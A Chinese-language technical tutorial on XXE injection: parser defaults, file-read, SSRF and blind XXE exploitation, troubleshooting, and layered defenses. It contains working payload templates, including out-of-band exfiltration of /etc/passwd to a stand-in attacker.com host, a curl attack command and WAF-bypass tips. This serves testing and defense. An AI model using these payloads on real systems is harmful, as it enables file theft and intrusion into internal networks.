从0到1把XXE讲透原理、实战利用与防御套路附避坑记录先声明这篇文章是一篇纯技术笔记不是从哪儿复制粘贴的教程更多是我自己这几年测试和代码审计过程中对XXE的实战理解。XXE全称XML External Entity中文一般叫XML外部实体注入它本质上是XML解析器在处理外部实体时过度信任输入导致的一类注入问题。很多人一听这个名字觉得很高深但真正搞懂它的触发机制之后你会发现XXE的原理并不复杂难点反而在怎么找入口、怎么判断可利用性、怎么在防御层面一次堵到位。这篇文章适合后端研发、安全测试和运维同学看前端如果处理过XML文档上传或者SVG解析也建议花几分钟过一遍。我会从XML的实体机制讲起然后是几种常见的攻击面和实战利用思路最后给出一套可以照着做的防御方案和排查清单没有太多绕弯的废话。1. 先搞清楚XML的实体机制1.1 DTD和实体到底是什么XML和JSON最大的一个区别是XML支持DTDDocument Type Definition文档类型定义。DTD可以写在XML文档内部也可以引用外部DTD它负责定义这个XML文档的结构、元素和属性同时还能声明实体。实体你可以理解成一种“变量”声明后在文档里引用解析阶段会被替换成对应的值。看一个最简单的例子?xml version1.0? !DOCTYPE foo [ !ENTITY x hello world ] rootx;/root这段XML里!ENTITY x hello world定义了一个内容为hello world的内部实体root里通过x;引用最终解析结果就是roothello world/root。DTD里常见的实体分三类。内部实体的值直接写在声明里就是上面这种。外部实体的值指向一个外部资源比如本地文件路径或者URL这就是XXE的直接成因。参数实体只能在DTD内部使用用%实体名;引用它的作用是扩展DTD定义内容在Blind XXE利用中非常关键后面我会专门演示。外部实体的声明方式长这样!ENTITY xxe SYSTEM file:///etc/passwdSYSTEM表示引用外部资源后面的字符串是URI。解析器看到这个声明就会按照URI去读资源如果应用开启了外部实体解析且用户可控整个XML文档任意文件读取和SSRF就都成了可能。1.2 为什么解析器会“乖乖”去读外部资源很多新人有个疑惑解析器为什么不拒绝读取本地文件这就要聊到XML规范的设计理念。XML在设计之初就允许文档引用外部资源这是标准能力很多正常业务也确实需要它比如共享DTD定义、引用远程样式、文档签名里引用公钥等。解析器只是在按规范执行它判断不出这个URI是开发人员写死的可信配置还是攻击者提交的恶意输入。真正的核心问题在于“用户可控输入解析器默认配置”的组合。很多语言内置的XML解析器尤其是老版本默认开启外部实体解析开发同学只是调用了解析函数并没有显式去配置结果默认配置就把口子打开了。你回忆一下自己写过的XML解析逻辑是不是大多数都没有手动设置那些安全属性这就是XXE多年之后仍然大量存在的原因。1.3 常见XML解析器的默认配置差异我整理了一个表格代码评审时可以对照检查。语言/库常见类或函数默认是否解析外部实体备注PHPsimplexml_load_string部分版本开启老版本需禁掉外部实体加载PHPDOMDocument::loadXML默认不解析外部实体需显式开启才会加载JavaDocumentBuilderFactory默认开启必须手动禁用相关特性JavaSAXParserFactory默认开启需要设置external-general-entities为falsePythonxml.etree.ElementTree不解析外部实体相对安全但仍建议过滤DTDPythonlxml默认不解析外部实体部分历史版本有风险C#XmlDocument旧版本默认开启.NET 4.5.2之后逐步收紧RubyREXML默认不解析外部实体特殊场景仍需关注不同语言、不同版本、不同配置下解析器的行为差异很大。所以我不太赞成“哪个库绝对安全”这种说法代码评审的关键是找到XML解析入口沿着解析链路走一遍是否加载DTD、是否启用外部实体、解析结果是否对外输出。2. XXE的几个攻击面2.1 文件读取XXE最经典的利用就是任意文件读取。攻击者发送一个这样的XML?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root如果应用接收XML并且把解析后的内容回显到响应里攻击者直接在页面上就能看到/etc/passwd的内容。实际利用中不只读密码文件还能读应用配置文件、数据库密码、源码文件危害取决于服务器上有什么可读的敏感数据。这个环节有几个细节要注意。file://协议在不同平台写法不同Linux是file:///etc/passwdWindows是file:///C:/Windows/win.ini。很多解析器对特殊字符敏感读出来的文件内容如果包含换行、引号可能直接报错中断。这时候用PHP环境下的php://filter配合Base64可以绕过不少限制!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd这样拿到的是Base64编码后的内容自己解码即可不会因为特殊字符导致解析中断。2.2 SSRF如果说文件读取是XXE的入门技能SSRF就是它的进阶玩法。外部实体引用不限于file://还可以是http://攻击者可以让服务器去请求它指定的URL。举例!DOCTYPE foo [ !ENTITY xxe SYSTEM http://192.168.1.1:8080/admin ] rootxxe;/root如果目标是内网环境服务器发出的这个请求就可以探测内网端口、访问内网管理后台、调用内部API。这里要强调一点SSRF的流量来源是服务器不是攻击者本机所以它可以绕过基于客户端IP的白名单限制。我之前在某次授权测试里遇到过这样的场景。某个接收XML订单数据的接口文件读取失败解析结果不回显起初觉得没什么可利用的点。后来我用外部实体请求内网的一个管理接口对比不同的响应时间发现内网某台主机的8080端口确实存活顺手就摸到了内网的一个管理后台。所以判断XXE可利用性时千万不要只盯着文件读取这一种思路“不回显”不代表“不可利用”。SSRF场景下能做的事很多探测内网存活主机、扫描端口、访问云平台元数据服务获取临时密钥、通过外部DTD配合参数实体构造POST请求调用内部API。2.3 Blind XXE很多XXE场景不回显解析结果不会展示给用户这类叫Blind XXE。利用思路主要有两条报错注入和外带数据。报错注入的思路是让解析器在解析过程中触发一个包含目标文件内容的错误信息再把错误信息回显出来。典型写法!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval;#x25;是%的实体编码在DTD内部用这种方式构造嵌套实体。这段代码的作用是先读取目标文件内容再把内容拼到HTTP请求里发出去。外带数据的思路更直观直接让外部实体请求一个攻击者控制的地址然后自己在服务器上监听。只要解析器发起了外部请求数据就到了你手上。这个方案能否成立关键看目标服务器能不能出网。完全不能访问外网的环境就只能靠报错注入而且报错信息还必须能被带出来。2.4 其他变种前面三种是主流实际测试中还会遇到一些变种。XInclude。当用户输入只是被嵌入到服务端已有的XML文档中无法控制整个XML结构时传统的外部实体声明用不了但可以通过xi:include标签引用外部文件这属于另一种绕法。SVG文件上传。SVG本质是XML很多站点的头像上传功能允许上传SVG服务端解析SVG时如果XML外部实体没禁同样能读到服务器文件svg xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink image xlink:hreffile:///etc/passwd/ /svgOffice文档解析。DOCX、XLSX本质是ZIP包里面包含大量XML文件服务端解析Word或者Excel提取内容时会走到XML解析逻辑如果没做安全配置一样会踩坑。3. 实战利用的完整链路3.1 寻找XML解析入口测试某个系统是否存在XXE第一步永远是找入口。常见的接收XML的位置有这么几类POST请求的Content-Type是application/xml或者text/xml文件上传功能比如上传.xml、.svg、.docx富文本编辑器粘贴内容被服务端转成XML处理某些接口参数名暗示XML格式比如data、xml、document找到入口后先不要直接打file:///etc/passwd先用一个简单的内部实体测试解析器是否处理DTD。发送?xml version1.0? !DOCTYPE foo [ !ENTITY x test-xxe ] rootx;/root如果响应里出现test-xxe说明实体已被解析这时候再尝试外部实体逐步加码。3.2 Payload构造模板根据目标和解析器类型Payload需要灵活变化。我整理几类常用模板放在这里测试时可以照着改。基础外部实体文件读取?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/rootBase64编码读取?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd ] rootxxe;/rootBlind XXE外带数据目标发送这段XML?xml version1.0? !DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] rootsend;/root攻击者服务器上放一个evil.dtd!ENTITY % all !ENTITY #x25; send SYSTEM http://attacker.com/?data%file; %all;先读取目标文件内容把内容作为URL参数提交到攻击者服务器整个外带链路就通了。自己测试时可以本地起一个HTTP服务监听观察是否收到包含数据的请求。3.3 利用细节与常见坑这一节全是测试中真实踩过的坑每条都值得记一下。第一个坑是Content-Type。很多接口明明接收XML但请求头Content-Type是application/json时服务端可能根本不会按XML解析。测试时要把Content-Type改成application/xml有些服务还会校验Header的值改成小写text/xml有时也能过。第二个坑是特殊字符。文件内容里有换行、引号、尖括号都可能打断XML解析。Base64或CDATA分段可以解决一部分问题但CDATA内部不能包含]]如果文件内容刚好包含就需要分段读取再拼接比较麻烦。第三个坑是回显位置。解析结果不一定出现在主响应体里有可能出现在自定义Header、错误信息、调试日志、某个隐藏字段中。测试时用唯一字符串作为实体值挨个观察响应里的每个字段别漏掉任何角落。第四个坑是协议限制。某些解析器只拦file://但放行http://反过来也有。所以协议要多试几个file、http、https、ftp、php、jar、netdoc、gopher。不同语言支持的协议不一样多试才有机会。4. 常见问题排查实录4.1 文件读取不回显这是新手最容易碰到的情况。明明构造了file:///etc/passwd的外部实体响应里什么都没有。排查步骤我建议按这个顺序走先确认实体是否被解析。用内部实体测试看是否有回显如果内部实体都没回显说明问题出在更前面。再确认Content-Type是否正确Header有没有被服务端忽略。然后检查过滤和防护DOCTYPE、ENTITY这些关键字可能被WAF或代码正则拦掉。绕过的思路很多大小写混合!doctype、标签间加空格、使用参数实体、外部DTD引用。最后确认是不是被统一异常处理吞掉了错误如果是切到Blind XXE流程。实体解析了但文件内容没有回显基本就是盲XXE场景别在回显上死磕直接换思路。4.2 Blind XXE外带失败外带失败的首因是目标服务器无法出网。先用一个外部实体请求自己可控的地址看看有没有请求进来这一步是连通性验证。没有请求就说明网络不通或者解析器禁用了外部实体。第二个原因是攻击者服务器的域名解析不了。实战中建议直接用IP加端口监听少一层DNS依赖就少一个失败点。第三个原因是防火墙限制出站流量。这种情况下可以试试DNS外带数据让外部实体请求可控域名的子域域名里带上文件内容文件内容编码后作为子域名的一部分DNS查询日志会完整记录子域名攻击者从日志中还原内容。这种方式利用DNS查询通常不会被严格过滤的特点但前提是你得有一个可控制DNS记录的域名。4.3 实体嵌套和编码问题构造复杂Blind XXE Payload时经常会报“实体未定义”。常见原因有三个参数实体嵌套没正确转义需要用#x25;表示%实体定义顺序不对参数实体必须先定义后使用DTD语法错误少了引号或者括号不匹配。排查这类问题有个笨办法但很有效先在本地用XML解析器跑一遍Payload确认语法没问题再发到目标。本地能解析的Payload到了目标报错基本可以确定是被过滤或禁用而不是语法问题排查方向就清晰了。4.4 一个虚构的排查案例说一个测试文档处理服务的经过逻辑很典型。某文档处理服务接收.docx上传并提取正文内容我构造了一个包含外部实体内容的docx上传后没有报错也没有回显。一开始以为是格式问题后来仔细翻了响应头发现一个自定义字段里回显了文档标题。重新构造docx把XML实体放在标题对应位置成功读到了服务器上的配置文件。这个案例想说明的是回显不一定在正文。多观察响应中的每个字段尤其是自定义Header、错误信息、调试输出往往突破口就在这些不起眼的位置。5. 防御怎么做上下三层一次到位5.1 最根本的原则不需要就禁用防御XXE的核心原则只有一个不需要外部实体就把它们全部禁掉必须用到就做白名单。Java的DocumentBuilderFactory建议设置成这样DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);第一条直接禁止DOCTYPE声明这是最省事的一招大多数业务根本不需要DTD。PHP环境PHP 8.0之后libxml外部实体加载默认关闭但为了兼容老版本仍建议显式处理libxml_disable_entity_loader(true);注意PHP 8.0开始libxml_disable_entity_loader被标记为废弃更推荐通过libxml_set_external_entity_loader自定义加载器在加载外部实体时直接返回空。Python建议直接用defusedxml替换标准库from defusedxml import ElementTree as ET tree ET.fromstring(xml_data)如果不想引入第三方库至少要过滤DOCTYPE声明import xml.etree.ElementTree as ET if !DOCTYPE in xml_data.upper(): raise ValueError(XML contains DTD declaration)这段代码不复杂但能挡住最直接的XXE攻击。5.2 架构层面降低风险只改解析器配置不够架构层面还要加几层保险。输入侧能不用XML就不用XML能换JSON就换JSON。JSON没有实体机制从根上就没有这个问题。这个建议推动起来不容易老接口和第三方系统的XML协议改不动那就把XML解析收敛到一个独立组件里统一安全配置统一代码审计。网络侧限制出站流量。服务器不需要访问内网或外网时通过防火墙把出站全挡掉。这样即使XXE存在Blind XXE的外带链路也是断的。必须出站的服务器配置代理白名单只允许访问特定域名。文件侧上传校验不能只看扩展名。SVG文件必须校验内容是否真的是图片数据不能只依赖MIME头。Office文档先解压检查内部XML再交给解析器避免恶意XML藏在文档里。5.3 代码审计巡检清单我在审计时给自己整理了一套查XXE的检查项分享出来供参考全局搜索XML解析相关类和函数这是第一步。确认解析器实例化后有没有显式配置外部实体特性尤其是Java系。追溯输入源是否用户可控包括请求参数、上传文件、消息队列消息。看解析结果流向是否输出到响应、日志、第三方请求中判断回显可能性。检查整个调用链上有没有统一过滤比如全局拦截DOCTYPE和ENTITY关键字。这套清单不复杂但覆盖了绝大部分XXE入口。重点是建立“XML数据进来等于可能存在注入”的条件反射而不是把每个配置项死记硬背。5.4 WAF只能兜底WAF可以拦一部分常见攻击典型规则是拦截!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键字。但WAF绕过的手法太多了大小写混淆、编码绕过、参数实体拆分、外部DTD引用攻击者换一种编码方式可能就绕过去了。所以WAF在XXE防御里的定位是纵深防御的一环是兜底不是主力。主力永远是代码层禁用外部实体。6. 工具和自动化6.1 手工测试效率提升手工测试时我习惯用Burp Suite把请求保存下来然后用Repeater逐个替换Payload。Intruder可以批量测试不同协议、不同注入点比一条条手动改高效很多。命令行环境直接用curlcurl -X POST -H Content-Type: application/xml \ -d ?xml version1.0?!DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd]rootxxe;/root \ http://target.com/api/parse像这种固定格式的请求写个脚本循环发送、记录响应差是效率最高的方式。6.2 常用自动化工具我用过的工具有这么几类XXEinjector一个Ruby编写的工具支持Blind XXE数据外带和文件枚举各种Burp插件可以直接右键发送到XXE插件自动生成Payload还有自己写的脚本测试流程固定后写脚本批量发请求最贴合具体业务场景。工具可以辅助但Payload的构造思路和利用原理必须自己理解。不然过滤规则一变工具失效你根本不知道往哪儿调整。核心能力在脑子里不在工具里。7. 从实战视角重新看XXE聊完整个链路再回头看XXE你会发现它真正危险的地方不在于某款XML解析器有漏洞而在于应用层信任了不该信任的输入。解析器只是按规范执行攻击手法和目标都是攻击者构造的应用层没有做校验和过滤才让整条链成立。理解了这一点防御思路就清晰了。不是等着厂商去修漏洞而是在每一层加约束。输入层能不用XML就不用XML必须用就禁外部实体网络层限制出站流量文件层严格校验上传类型运行层保留日志和告警。每一层单看都可能被绕过但叠加起来攻击者付出的成本就高得多多数攻击者在试探第一步就被拦下后面的步骤根本走不到。触目惊心的是我见过太多因为“觉得不会有人传这么奇怪的XML”而中招的系统。XXE不算新漏洞已经被讲了多年但每年仍有系统因为相同的原因被突破。原因不外乎两点开发对这个机制不熟或者默认配置不安全却没人去检查。所以最后说一个我自己的实操习惯每次代码里出现XML解析函数强制自己走一遍检查流程。输入可不可控、外部实体开没开、解析结果去哪了三个问题想清楚再往下写。这套流程走完能挡住绝大多数问题。给新人一个学习路径的建议找靶场环境把文件读取、SSRF、Blind XXE三种利用方式各练三遍不用急着学各种奇技淫巧先把原理和常用Payload跑熟。等哪一天你不看笔记能直接写出三种方式的Payload这个漏洞你就真正吃透了。